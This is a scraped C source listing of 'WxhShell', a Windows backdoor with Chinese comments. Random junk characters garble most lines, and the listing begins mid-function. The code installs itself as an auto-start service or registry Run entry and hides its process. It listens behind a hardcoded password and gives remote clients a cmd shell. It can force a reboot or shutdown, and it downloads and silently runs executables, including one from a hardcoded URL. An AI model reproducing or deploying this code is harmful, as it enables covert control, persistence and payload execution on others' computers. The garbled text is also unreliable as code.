    if(Boot(SHUTDOWN)) E[M.q;rM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?<~P)aVVj  
    else { #Kt5+"+7  
    closesocket(wsh); Y*YV/E.  
    ExitThread(0); 9ZG__R3B1\  
    } /OeOL3Y  
    break; )]{&  
    } |V mQ  
  // 获取shell e89IT*  
  case 's': { c1h?aP  
    CmdShell(wsh); 79}Qj7  
    closesocket(wsh); >:P-3#e*  
    ExitThread(0); Gt;U9k|i  
    break; \<x{U3q5  
  }  &W? hCr  
  // 退出 <v$yXA  
  case 'x': { >qci $  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;xjw'%n,  
    CloseIt(wsh); v,Yz\onB^  
    break; J(kC  
    } `:5W1D(  
  // 离开 &I?d(Z=:\  
  case 'q': { zN>tSdNkI-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 92g&,Wb  
    closesocket(wsh); XZ_vbYTj  
    WSACleanup(); T4x[ \v5d  
    exit(1); q[TW  
    break; h;t5v6["  
        } rB.LG'GG]  
  } GKf%dK L  
  } ;(;{~1~  
LAv!s/O$=  
  // 提示信息 ~4u[\&Sh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5+Hw @CY3  
} z[De?8=)  
  }  ui1h M  
T<~?7-O"  
  return; u;=a=>05IR  
} >UB ozmF=\  
g:fzf>oQ>p  
// shell模块句柄 Rx.dM_S  
int CmdShell(SOCKET sock) ;09U*S$eK  
{ }yMA s  
STARTUPINFO si; 'v_VyK*w  
ZeroMemory(&si,sizeof(si)); h}f l:J1C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LABLT;c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eC*-/$D  
PROCESS_INFORMATION ProcessInfo; .?;"iv+  
char cmdline[]="cmd"; nVv=smVOt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rWxQ;bb#  
  return 0; 5Jm %*Wb  
} P> i lRb  
o 9{~F`{p  
// 自身启动模式 <wO8=bem  
int StartFromService(void) D|X@aUp 8}  
{ 'U'Y[*m@  
typedef struct lb[\Lzdvmu  
{ f>jAu;S  
  DWORD ExitStatus; ^HI}bS1+|  
  DWORD PebBaseAddress; "CF{Mu|Q=  
  DWORD AffinityMask; ky |Py  
  DWORD BasePriority; l|'{Cb   
  ULONG UniqueProcessId; 9e'9$-z  
  ULONG InheritedFromUniqueProcessId; s.K Hm L3  
}   PROCESS_BASIC_INFORMATION; ahx*Ti/e  
+!)v=NY  
PROCNTQSIP NtQueryInformationProcess; EmubpUS;  
U8icP+Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yfCdK-9+B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x /xd  
XonI   
  HANDLE             hProcess; ;-@v1I;  
  PROCESS_BASIC_INFORMATION pbi; LGF5yRk  
( | X?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <ZgbmRY8  
  if(NULL == hInst ) return 0; o2r)K AA  
9 M!J7 W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,pMH`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3( `NHS~h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KiO1l{.s8n  
WwYy[3U  
  if (!NtQueryInformationProcess) return 0; {8Uk]   
!;~6nYY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y76UhtYH  
  if(!hProcess) return 0; B|(M xR6m  
i\z,)xp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QocR)aN=+  
IW-lC{hK  
  CloseHandle(hProcess); [ #1<W`95  
KG8Km  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y?*4SLy  
if(hProcess==NULL) return 0; <u%&@G$F>  
K84Ve Ae  
HMODULE hMod; A6# 5 z  
char procName[255]; szW85{<+  
unsigned long cbNeeded; )mF;^3  
zs@xw@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \c.MIDp"  
380M &Guh  
  CloseHandle(hProcess); RNB ha&  
E ) iEWc  
if(strstr(procName,"services")) return 1; // 以服务启动 LIZsDTU  
cczV}m2)  
  return 0; // 注册表启动 }:2GD0Ru  
} pwG"_|h  
HE0@`(mCpa  
// 主模块 FyV)Nmc%t  
int StartWxhshell(LPSTR lpCmdLine) jdWA)N}kDG  
{ N);2 2-  
  SOCKET wsl; bw& U[|A0%  
BOOL val=TRUE; / >q?H)6  
  int port=0; 3(n+5~{e  
  struct sockaddr_in door; :kz"W ya.  
(h3f$  
  if(wscfg.ws_autoins) Install(); _bm8m4Lk  
J;AwC>N  
port=atoi(lpCmdLine); /$NZj" #  
FT/STI  
if(port<=0) port=wscfg.ws_port; M!j: 2dT"  
?ot7_vl  
  WSADATA data; aH!2zC\:T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1o*eu&@  
\sZT[42  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y>YQx\mK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +J<igb!S  
  door.sin_family = AF_INET; OPtFz6   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y6C3u5`  
  door.sin_port = htons(port); O h{ >xg  
O<KOsu1WW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y)oF;ko:  
closesocket(wsl); ta'{S=^j  
return 1; ;VI/iwg  
} / 8 0Q  
7I0[Ii  
  if(listen(wsl,2) == INVALID_SOCKET) { aIXN wnq  
closesocket(wsl); @j/|U04_ Z  
return 1; #o/  
} : 3 aZ_  
  Wxhshell(wsl); ,VdNP  
  WSACleanup(); \J0fr'(S  
oM~;du  
return 0; k=D}i\F8  
h .%)RW?  
}  a\@k5?  
ZqK1|/\ rh  
// 以NT服务方式启动 ys~oJb~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {I:nza  
{ QRL+-)DMc  
DWORD   status = 0; ^0fe:ac;  
  DWORD   specificError = 0xfffffff; WH6Bs=G\}  
[42EqVR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (G<fvl!~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $(=0J*ND"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q0y#Y  
  serviceStatus.dwWin32ExitCode     = 0; d09qZj>  
  serviceStatus.dwServiceSpecificExitCode = 0; &]_2tN=S$  
  serviceStatus.dwCheckPoint       = 0; (aTpBXGr=  
  serviceStatus.dwWaitHint       = 0; 7(W"NF{r  
,}jey72/k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aSVR +of  
  if (hServiceStatusHandle==0) return; ~M?^T$5  
5xIOi(3`Q  
status = GetLastError(); YM<F7tp4  
  if (status!=NO_ERROR) XKQ\Ts2<k  
{ 4u}jkd$]*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _>=QZ`!r  
    serviceStatus.dwCheckPoint       = 0; z1vSt[s  
    serviceStatus.dwWaitHint       = 0; X7Z=@d(  
    serviceStatus.dwWin32ExitCode     = status; IQNvhl.{  
    serviceStatus.dwServiceSpecificExitCode = specificError; N*NGC!p`N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mi& mQQ  
    return; _p^&]eQ+k#  
  } e]k\dj;,^%  
%SKJ#b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fB"It~ p  
  serviceStatus.dwCheckPoint       = 0; L[a A4`  
  serviceStatus.dwWaitHint       = 0; <[Y@<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qw35LyL  
} mVVL[z2+  
>uy(N  
// 处理NT服务事件,比如:启动、停止 Ca k-J~=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q35jJQ$<`  
{ yD:}&!\}  
switch(fdwControl) Dxp.b$0t  
{ -hpC8YS  
case SERVICE_CONTROL_STOP: A=bBI>GEYP  
  serviceStatus.dwWin32ExitCode = 0; ,%4~ulKMn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RQQ\y`h`  
  serviceStatus.dwCheckPoint   = 0; g7@.Fa.u'!  
  serviceStatus.dwWaitHint     = 0; .0b4"0~T6  
  { V \Sl->:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \l71Q/y6u`  
  } _sX@BE  
  return; K1_#Jhz  
case SERVICE_CONTROL_PAUSE: ^\3r}kJ0Lp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7j~}M(s"  
  break; u81@vEK:_  
case SERVICE_CONTROL_CONTINUE: R!y`p:O C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F|! ib5  
  break; ?v@pB>NZ  
case SERVICE_CONTROL_INTERROGATE: {}DoRp q=  
  break; ujan2'YT  
}; Qoom[@$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pZV=Co3!I  
} _]6n]koD,  
U])$#/ v  
// 标准应用程序主函数 PCs`aVZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^udl&>  
{ .ovG_O  
Z>(K|3_  
// 获取操作系统版本 n1PV/ Z  
OsIsNt=GetOsVer(); +XoY@|Djd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @;`d\lQ  
^j *H  
  // 从命令行安装 Pt\GVWi_t  
  if(strpbrk(lpCmdLine,"iI")) Install(); A| s\5"??  
lqZUU92;  
  // 下载执行文件 s~g0VNu Y  
if(wscfg.ws_downexe) { +Z1y1%a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aK5O0`  
  WinExec(wscfg.ws_filenam,SW_HIDE); vNSeNS@jxC  
} #iVr @|,  
|?<^4U8  
if(!OsIsNt) { .~7:o.BE`n  
// 如果时win9x,隐藏进程并且设置为注册表启动 v&r\Z @%  
HideProc(); v]c+|nRs  
StartWxhshell(lpCmdLine); fp?cb2'7  
} ?4H>1Wkb  
else Apbgm[m|{  
  if(StartFromService()) )JXy>q#  
  // 以服务方式启动 P&5kO;ia  
  StartServiceCtrlDispatcher(DispatchTable); 8Bwm+LYr-  
else 't n-o  
  // 普通方式启动 f(E[jwy  
  StartWxhshell(lpCmdLine); EWK?vs  
 >^J  
return 0; M~P h/  
} @r3,|tkrz  
DT[WO_=  
<m0m8p"G  
; fxrOfb  
=========================================== :b"&Rc&s.  
NEW0dF&)  
-fT}Nj\  
w" ,ab j  
P 9?I]a)G  
4MPR  
" +6Ye'IOG  
a3c43!J?M  
#include <stdio.h> @Zw[LIQ*  
#include <string.h> Uc( z|  
#include <windows.h> 6wH:jd9,  
#include <winsock2.h> <|1Khygv  
#include <winsvc.h> _|wnmeL*  
#include <urlmon.h> y,Z2`Zmu  
LX{mr{  
#pragma comment (lib, "Ws2_32.lib") c!]Q0ib6  
#pragma comment (lib, "urlmon.lib") #+(@i|!ifo  
9\!=i  
#define MAX_USER   100 // 最大客户端连接数 \:9<d@?  
#define BUF_SOCK   200 // sock buffer Z.,pcnaQb  
#define KEY_BUFF   255 // 输入 buffer [ @9a  
=F/EzS  
#define REBOOT     0   // 重启 l0=VE#rFl  
#define SHUTDOWN   1   // 关机 Yd]  
9;fs'R  
#define DEF_PORT   5000 // 监听端口  V0!kvIv  
Qt.|YB8  
#define REG_LEN     16   // 注册表键长度 8f>v[SQ"  
#define SVC_LEN     80   // NT服务名长度 g5lK&-yu]  
lY[\eQ 1:  
// 从dll定义API $J=`fx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?G 'sb}.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fU|4^p)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zx^R-9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &Y1RPO41J  
#@m6ag.  
// wxhshell配置信息 qJ[wVNHh!  
struct WSCFG { JfRqOEP4Y  
  int ws_port;         // 监听端口 +do* C =z  
  char ws_passstr[REG_LEN]; // 口令 lm|s%  
  int ws_autoins;       // 安装标记, 1=yes 0=no uvJmEBL:  
  char ws_regname[REG_LEN]; // 注册表键名 ?I"FmJ;  
  char ws_svcname[REG_LEN]; // 服务名 xtK}XEhG!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Au"BDP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @./ @"mR<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T'a&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ??z&w`Yy,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /$^SiE+N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5MK.>3fE  
0Ok[`r`  
}; j-zWckT{  
m@"p#pt(_  
// default Wxhshell configuration n^` `)"  
struct WSCFG wscfg={DEF_PORT, &/?OP)N,}  
    "xuhuanlingzhe", \m(>Q  
    1, DI[  
    "Wxhshell", 9Us'Q{CD   
    "Wxhshell", ,15$$3z/E  
            "WxhShell Service", ]L?WC  
    "Wrsky Windows CmdShell Service", ;iz3Bf1o  
    "Please Input Your Password: ", M$e$%kPShE  
  1, irMBd8WG  
  "http://www.wrsky.com/wxhshell.exe", AmK g;9LS  
  "Wxhshell.exe" J9P\D!  
    }; 5")BCA  
XsX];I{E,  
// 消息定义模块 cd] X5)$h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0aGAF ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W?0u_F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J]|S0JC`  
char *msg_ws_ext="\n\rExit."; 5uU{!JuSa  
char *msg_ws_end="\n\rQuit."; |;R-q8  
char *msg_ws_boot="\n\rReboot..."; uzL|yxt  
char *msg_ws_poff="\n\rShutdown..."; caZEZk#r;  
char *msg_ws_down="\n\rSave to "; ceAefKdb  
Ni#y=cb  
char *msg_ws_err="\n\rErr!"; +f,I$&d.V  
char *msg_ws_ok="\n\rOK!"; LG'1^W{a  
|sBL(9  
char ExeFile[MAX_PATH]; 1pT/`x  
int nUser = 0; 5#::42oE  
HANDLE handles[MAX_USER]; TSj)XU {W  
int OsIsNt; |UN#utw{^Y  
~e=KBYDBu  
SERVICE_STATUS       serviceStatus; Rk}=SB-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y{L|ja%9?  
j&0t!f.Rv  
// 函数声明 ^ ?T,>ZI  
int Install(void); ~TjTd  
int Uninstall(void); mWuhXY^Q  
int DownloadFile(char *sURL, SOCKET wsh); Yy_mX}\x  
int Boot(int flag); u HXb=U  
void HideProc(void); EI@ep~  
int GetOsVer(void); ~HXZ-*  
int Wxhshell(SOCKET wsl); t_Ul;HVPS  
void TalkWithClient(void *cs); S.^x)5/,,T  
int CmdShell(SOCKET sock); IXsOTBM  
int StartFromService(void); >2tosxH M  
int StartWxhshell(LPSTR lpCmdLine); Q]-r'pYr  
P> ~Lx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ; .hTfxE0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @4jPaqa(  
e_Q(l'f  
// 数据结构和表定义 osTin*T.  
SERVICE_TABLE_ENTRY DispatchTable[] = VqeW;8&*iv  
{ 1 w9Aoc  
{wscfg.ws_svcname, NTServiceMain}, bc\?y2 3  
{NULL, NULL} LdyE*u_  
}; n7d`J_%s  
'Y5=A!*@tf  
// 自我安装 kYkck]|  
int Install(void) k? =_p6>  
{ e{d$OzT) V  
  char svExeFile[MAX_PATH]; zuvP\Y=V`  
  HKEY key; =Lr# *ep[  
  strcpy(svExeFile,ExeFile); K|.!)L  
9R4q^tGR\  
// 如果是win9x系统,修改注册表设为自启动 dH0wVI<z  
if(!OsIsNt) { ]yA_N>k2K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &r V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JP 8v2) p  
  RegCloseKey(key); SZD@<3Nb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S;S_<GX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ph>?xuw  
  RegCloseKey(key); .gd'<l  
  return 0; b=Y3O  
    } DKqO5e\l8@  
  } xsXf_gGu  
} n\H.NL)  
else { c(0Ez@  
o<%s\n  
// 如果是NT以上系统,安装为系统服务 >]WQ1E[=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G-sA)WOF  
if (schSCManager!=0) yy|F6Pq3`  
{ TzK[:o  
  SC_HANDLE schService = CreateService R8R,!3 N  
  ( W>`#`u  
  schSCManager, 0"$'1g^]7  
  wscfg.ws_svcname, FcZ)_m6m  
  wscfg.ws_svcdisp, rfxLCiV  
  SERVICE_ALL_ACCESS, XRR`GBI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i fbO<  
  SERVICE_AUTO_START, f}F   
  SERVICE_ERROR_NORMAL, kc70HrG  
  svExeFile, k/V:QdD Sb  
  NULL, n+uDg  
  NULL, *Ldno`1O  
  NULL, 3L(vZ2&  
  NULL, Ndr4e?Xa,  
  NULL 9dD;Z$x&Xk  
  ); `@|Kx\y4=j  
  if (schService!=0) En/EQ\T@F  
  { tXnD>H YV  
  CloseServiceHandle(schService); E`>u*D$un~  
  CloseServiceHandle(schSCManager); h ?%]uFJC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9 ~$' ?  
  strcat(svExeFile,wscfg.ws_svcname); \Lu] %}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { itW~2#nJz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iSxuor ^;  
  RegCloseKey(key); j -j,0!T~b  
  return 0; ZJ|'$=lR  
    } wsLfp82  
  } fbK`A?5K  
  CloseServiceHandle(schSCManager); x4vowF  
} gT~Yn~~b  
} :Pf2oQ  
CERT`W%o  
return 1; +_LWN8F  
} 3fWL}]{<a  
t!,GI&  
// 自我卸载 c/G]r|k  
int Uninstall(void) B`SHr"k!V[  
{ |SF5'\d'  
  HKEY key; -<tfbaA  
]#VNZ#("  
if(!OsIsNt) { _Y gvLz %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 52JtEt7E  
  RegDeleteValue(key,wscfg.ws_regname); J<'I.KZ\z  
  RegCloseKey(key); &.}Z j*BD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ir ^XZVR  
  RegDeleteValue(key,wscfg.ws_regname); EFb"{L  
  RegCloseKey(key); k)l^ ;x-  
  return 0; 0'9z XJ"  
  } 1]<w ZV}.  
} 9(;I+.;8k  
} 9G@ J#vsqr  
else { T[YGQT|B  
*U=%W4?W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y`OL^D4  
if (schSCManager!=0) 9cm9;  
{ eBW=bK~[VP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R~R?0aq  
  if (schService!=0) 8#MiM . f  
  { Q{0!N8']"  
  if(DeleteService(schService)!=0) { Z `)}1|~B  
  CloseServiceHandle(schService); /{9"O y7E  
  CloseServiceHandle(schSCManager); ,y5 7tY  
  return 0; 3 O)^Hq+9  
  } +$F_7Hx  
  CloseServiceHandle(schService); hvS4"% \  
  } /.u0rxoRP}  
  CloseServiceHandle(schSCManager); U<*8KiI  
} mw*BaDN@Q  
} @N-P[.qL"  
6HW8mXQh<h  
return 1; NJ;D Qv  
} XOe8(cXa9  
}RvP*i  
// 从指定url下载文件 rIt#ps  
int DownloadFile(char *sURL, SOCKET wsh) o=1M<dL  
{ Oa'DVfw2J  
  HRESULT hr; ~ j`; $o  
char seps[]= "/"; i.e1?Zk1  
char *token; s]"NqwIPK  
char *file; dt -=7mz#  
char myURL[MAX_PATH]; .cV<(J 5o  
char myFILE[MAX_PATH]; &ZRriqsQg  
vThK@P!s  
strcpy(myURL,sURL); _U"9#<  
  token=strtok(myURL,seps); >2[\WF*"X  
  while(token!=NULL) K6=i\   
  { [a<u cJ  
    file=token; csPziH$wl  
  token=strtok(NULL,seps); oA ;sP'  
  } hw@ `Q@  
LtxeT .  
GetCurrentDirectory(MAX_PATH,myFILE); QD6in>+B@  
strcat(myFILE, "\\"); FC:+[.fi  
strcat(myFILE, file); DaV:Slp9  
  send(wsh,myFILE,strlen(myFILE),0); 7ktSj}7W]  
send(wsh,"...",3,0); ]}wo$7pO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %V+hm5Q  
  if(hr==S_OK) P,|%7'?Y  
return 0; c/G4@D>  
else t4RI%m\  
return 1; xIN&>D'|N  
V6:S<A  
} &X^ -|7~N  
#^+C k HX  
// 系统电源模块 ]5V=kNu i  
int Boot(int flag) P;V$%r`yD  
{ 5cv&`h8uo_  
  HANDLE hToken; F ka^0  
  TOKEN_PRIVILEGES tkp; Md4hd#z  
'S_OOzpC  
  if(OsIsNt) { ; S(KJV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qSg#:;(O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3y[6n$U&  
    tkp.PrivilegeCount = 1; jvI!BZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y ,Iv<Hg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xnuu#@f  
if(flag==REBOOT) { <6 HrHw_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y@#JzfY?Hr  
  return 0; <sALA~p|0  
} (R.l{(A  
else { U?bQBHIC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +b =X~>vZ  
  return 0; G`/5=  
} m| /?((s  
  } ~rUcko8  
  else { v%ldg833l  
if(flag==REBOOT) { &V`~ z e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o9<)rUy  
  return 0; ~ `xaBz0q  
} >/r^l)`9_f  
else { I"=a:q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) % `4\ 8H`  
  return 0; %nRz~3X|+v  
} DOsQVdH  
} F*}.0SQ  
TFQX}kr]  
return 1; ;JD/4:  
} #nD]G#>e  
6m~N2^z  
// win9x进程隐藏模块 !08\w@  
void HideProc(void) Vr<eU>W  
{ Z[, A>tJ  
0qCx.<"p8#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  dcd9AW=  
  if ( hKernel != NULL ) m,Fug1+N  
  { _^k9!V jo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `y^tCJ2u*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [U^@Bkh  
    FreeLibrary(hKernel); u ? }T)B  
  } -p-<mC@<&S  
'm4v)w<y#  
return;  CJ~gE"  
} )B!64'|M  
$`wo8A|)  
// 获取操作系统版本 1v?|n8  
int GetOsVer(void) DNyU]+\L[l  
{ !eC]=PoY  
  OSVERSIONINFO winfo; z'!sc"]W6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OgOs9=cE{  
  GetVersionEx(&winfo); i?+>,r@\p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O-N@HZC  
  return 1; 7`G FtX}  
  else A7hWAq  
  return 0; Qp5YS  
} }#Q?\  
?r%kif)  
// 客户端句柄模块 j,J/iJs  
int Wxhshell(SOCKET wsl) y.6Yl**l  
{ ?O|CY  
  SOCKET wsh; "%?$BoJR0  
  struct sockaddr_in client; k0e {c  
  DWORD myID; 1M<;}hJ{/  
? kBX:(g  
  while(nUser<MAX_USER) .!^}sp,E  
{ OngUZMgdb  
  int nSize=sizeof(client); AB0>|.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jg3 X6/'  
  if(wsh==INVALID_SOCKET) return 1; 'k1vV  
BM+>.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .271at#-  
if(handles[nUser]==0) ndE"v"_H  
  closesocket(wsh); _enS_R  
else 9N*!C{VW  
  nUser++; UVlXDebl  
  } 7FYq6wi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [izP1A$r#Q  
:%2uZ/cG(  
  return 0; Ce.*yO<-  
} v*3tqT(%  
6qYK"^+xu  
// 关闭 socket } >z l  
void CloseIt(SOCKET wsh) Pgh)+>ON  
{ /8Xd2-  
closesocket(wsh); {@*l,[,5-  
nUser--; U3rpmml  
ExitThread(0); 8v12<ktR`  
} ;]A:(HSZj  
D@iE2-n&V  
// 客户端请求句柄 \1[v-hvK  
void TalkWithClient(void *cs) 8;+dlWp  
{ yE=tuHv(0  
^>/] Qi  
  SOCKET wsh=(SOCKET)cs; u7G9 eN  
  char pwd[SVC_LEN]; `ZELw=kLL  
  char cmd[KEY_BUFF]; ^Sj*  
char chr[1]; YLkdT%  
int i,j; Bm:N@wg  
'joE-{  
  while (nUser < MAX_USER) { M?I^Od'8  
G}N T[  
if(wscfg.ws_passstr) { Z0!yTM/C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3+tr_psH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wU(N<9  
  //ZeroMemory(pwd,KEY_BUFF); LPK[^  
      i=0; 2 i:tPe&  
  while(i<SVC_LEN) { M7. fz"M  
VU ,tCTXz  
  // 设置超时 1WJ%n;  
  fd_set FdRead; NWt5)xl  
  struct timeval TimeOut; )sBbmct_S  
  FD_ZERO(&FdRead); aX,ux9#  
  FD_SET(wsh,&FdRead); D4;6}gRC  
  TimeOut.tv_sec=8; l~j{i/>  
  TimeOut.tv_usec=0; g6l&;S40  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,?(IRiq%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {q^?Rw  
J]mq|vE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n.tJ-l5[  
  pwd=chr[0]; e(~Y!:Q#O  
  if(chr[0]==0xd || chr[0]==0xa) { fNNik7  
  pwd=0; 4M3{P  
  break; X0+M|8:   
  } ns;nle|m  
  i++; q A?j-H  
    } [X=J]e^D  
* u{CnH  
  // 如果是非法用户,关闭 socket 9!UFLZR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n=tg{_9f%  
} <h<4R Rj  
& GM&,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oMer+=vH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w 7Y>B`wm?  
xK;WJm"  
while(1) { s\#eD0|  
WTZr{)e  
  ZeroMemory(cmd,KEY_BUFF); Lf} @v  
"H!2{l{  
      // 自动支持客户端 telnet标准   `Q~`Eq?@  
  j=0; wD'LX  
  while(j<KEY_BUFF) { J^]Y`Q`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W$_@9W(Bl  
  cmd[j]=chr[0]; +(9qAB7  
  if(chr[0]==0xa || chr[0]==0xd) { i~04P  
  cmd[j]=0; 6:o?@%  
  break; jhmWwT/O8^  
  } #w<:H1,4  
  j++; 2(Ez H  
    } TRSR5D[  
#6 yi  
  // 下载文件 Z-BPC|e  
  if(strstr(cmd,"http://")) { 3kl\W[`?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SOPQg?'n=V  
  if(DownloadFile(cmd,wsh)) Nq3q##Ut:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Axtf,x+lH  
  else 0o+2]`q)Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gbJz5EEq  
  } (&x#VmDL  
